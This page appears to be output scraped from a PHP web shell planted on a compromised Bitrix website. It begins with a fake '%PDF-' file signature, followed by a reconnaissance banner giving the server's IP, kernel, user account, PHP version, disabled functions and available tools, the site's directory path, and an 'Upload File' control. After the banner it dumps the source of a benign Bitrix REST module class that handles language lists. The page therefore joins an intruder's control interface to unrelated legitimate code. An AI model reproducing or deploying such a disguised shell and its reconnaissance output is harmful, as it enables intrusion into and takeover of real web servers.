%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 18.116.65.1 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/rest/lib/ |
Upload File : |
<?php namespace Bitrix\Rest; use Bitrix\Main\Localization\Loc; use Bitrix\Main; class Lang { private const DEFAULT_LANG = 'en'; private static $languageList; private const KEY_LANG_ALL = 'LANG_ALL'; /** * Return list of languages * @return array * @throws Main\LoaderException */ public static function listLanguage(): array { if (static::$languageList === null) { static::$languageList = [ LANGUAGE_ID, Loc::getDefaultLang(LANGUAGE_ID), ]; $licenseLang = null; if (Main\Loader::includeModule('bitrix24')) { $licenseLang = \CBitrix24::getLicensePrefix(); } else { $dbSites = \CSite::getList( 'sort', 'asc', [ 'DEFAULT' => 'Y', 'ACTIVE' => 'Y' ] ); if ($site = $dbSites->fetch() && !empty($site['LANGUAGE_ID'])) { $licenseLang = $site['LANGUAGE_ID']; } } if($licenseLang === null) { $licenseLang = static::DEFAULT_LANG; } static::$languageList[] = $licenseLang; } return static::$languageList; } public static function mergeFromLangAll($data) { $result = []; if (!empty($data[static::KEY_LANG_ALL])) { $useLang = false; $langList = static::listLanguage(); foreach ($langList as $lang) { if (is_array($data[static::KEY_LANG_ALL][$lang])) { $useLang = $lang; break; } } if ($useLang !== false) { $result = $data[static::KEY_LANG_ALL][$useLang]; } else { $item = reset($data[static::KEY_LANG_ALL]); if (is_array($item)) { $result = $item; } } } return array_merge($data, $result); } /** * @param array $param * @param string[] $fieldList * @param array $defaultValues * * @return array * @throws Main\LoaderException */ public static function fillCompatibility(array $param, array $fieldList, array $defaultValues = []) : array { $result = []; $langList = static::listLanguage(); $langDefault = reset($langList); if (empty($param[static::KEY_LANG_ALL])) { foreach ($fieldList as $key) { $value = trim($param[$key] ?? ''); if ($value !== '') { $result[static::KEY_LANG_ALL][$langDefault][$key] = $value; $result[$key] = trim($param[$key]); } elseif ($defaultValues[$key]) { $result[static::KEY_LANG_ALL][$langDefault][$key] = $defaultValues[$key]; $result[$key] = $defaultValues[$key]; } } } else { foreach ($param[static::KEY_LANG_ALL] as $langCode => $langItem) { foreach ($fieldList as $field) { $value = trim($langItem[$field] ?? ''); if ($value !== '') { $result[static::KEY_LANG_ALL][$langCode][$field] = $value; } elseif ($defaultValues[$field]) { $result[static::KEY_LANG_ALL][$langDefault][$field] = $defaultValues[$field]; } } } $result = static::mergeFromLangAll($result); } if (empty($result[static::KEY_LANG_ALL]) && !empty($defaultValues)) { $result[static::KEY_LANG_ALL][$langDefault] = $defaultValues; } return $result; } }